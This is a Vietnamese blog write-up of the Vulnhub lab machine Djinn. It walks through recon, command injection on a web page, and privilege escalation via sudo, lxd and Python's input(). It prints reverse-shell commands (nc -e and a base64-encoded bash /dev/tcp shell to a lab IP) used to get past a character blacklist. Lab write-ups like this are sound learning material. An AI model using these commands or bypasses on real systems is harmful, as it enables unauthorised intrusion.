Viblo Learning
+2

Writeup Vulnhub: Djinn

Mở đầu

Chào các bạn, lâu lắm rồi mình chưa ra thêm bài viết nào cả vì mình lười. Do account HTB của mình (đi xin được) có nhiều người dùng nên không thể làm tiếp nên mình chuyển sang làm của Vulnhub. Mở đầu là bài Djinn

Write-up

Recon

nmap -A -p- 10.0.1.8 -o nmap

Ta thấy có 3 cổng đang mở là 21, 1337 và 7331. Cổng 21 cho phép ta truy cập bằng anonymous. Tiến hành vào thử và download các file về.

Sau khi đọc thì mình không thấy thông tin nào giá trị nên mình bỏ qua và tiếp tục đến cổng 1337

telnet 10.0.1.8 1337

Ở đây có một game nho nhỏ là ta phải trả lời kết quả các phép tính 1000 lần 😃)). Nếu ta trả lời sai 1 câu thì phải làm lại từ đầu thế nên nếu làm bằng tay chắc dảk luôn. Do gần đây mình đang thích Golang lên mình viết luôn một chương trình để trả lời link

Sau khi chạy ta được 3 số là 1356, 6784, 3409 Mình chưa biết dùng 3 số trên để làm gì nên tạm thời bỏ qua

Tiếp theo là cổng cuối 7331. Đây là một Web server nên mình sẽ sử dụng gobuster để tìm xem có thư mục ẩn nào không
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt -u 10.0.1.8 -x php,txt,bak -o gobuster

Sau khi chạy gobuster thì mình tìm được 2 thư mục ẩn

Exploit

www-data

Thử vào thư mục wish Mình nhập thử id và trang trả lại kết quả Vậy là trang cho phép thực thi command ta nhập vào lấy shell thôi nc -e /bin/bash 10.0.1.4 443 Nhưng không dễ như thế trang web sẽ lọc các từ có trong blacklist và sau một hồi thử mình tìm được các kí tự trong blacklist: $ . / * ;

Vậy ta phải bypass bộ lọc trên, ở đây mình dùng base64 để encode và decode sau đó cho vào pipeline để thực thi lệnh. Shell mình dùng là bash -i >& /dev/tcp/10.0.1.4/4242 0>&1

Vậy ta phải nhập là echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjEuNC80MjQyIDA+JjE= | base64 -d | bash Ta có được shell đầu

nitish

Sau khi kiểm tra Sudo và các file co SUID không thấy có gì khả quan. Mình liệt kê người dùng có trong hệ thống và tìm kiếm trong thư mục home phát hiện một file chứa mật khẩu của user nitish

find /home 2>/dev/null

Ta có shell của nitish

sam

Kiểm tra với sudo -l ta thấy user này có thể chạy file genie dưới quyền sam mà không cần mật khẩu

Sau nhiều giờ vật lộn thì mình tìm được một option ẩn bằng lệnh man genie Và ta "dễ dàng" có shell tiếp theo

root

Sau khi làm xong mình đi tham khảo các bài writeup khác thì được biết có tận 3 cách để leo lên root

  1. Lxd Đây là cách mình dùng để leo thang vì mình để ý ở lệnh id thì user này thuộc group lxd. Để leo thang bằng cách này thì các bạn làm theo các bước ở đây

  2. Input python
    Sử dụng sudo -l thì ta thấy user này có thể chạy file rago bằng quyền root nhưng thử qua ta thấy khá là vô dụng. Nếu để ý ở trong thư mục của sam thì ta sẽ thấy có một file .pyc thì đây là file source của file rago trong thư mục gốc. Vì là file .pyc nên ta có thể dễ dàng dịch ngược lại để xem code bên trong có gì.

    Ở đây nếu ta đoán trúng số random thì sẽ có được shell vậy ta phải bypass được hàm so sánh ở trên. Sau khi tìm kiếm thì thì mình được biết nếu bạn nhập vào tên biến vào hàm input thì nó sẽ lấy giá trị và done!

  3. Python sandbox trên cổng 1337(Update soon)
    Vì mình đang tìm hiểu nên chưa thể giải thích nên mình sẽ để link ở đây

Conclusion

Ở bài này mình học được cách khai thác hàm input của python, cách leo thang bằng lxd và biết đến python sandbox


All Rights Reserved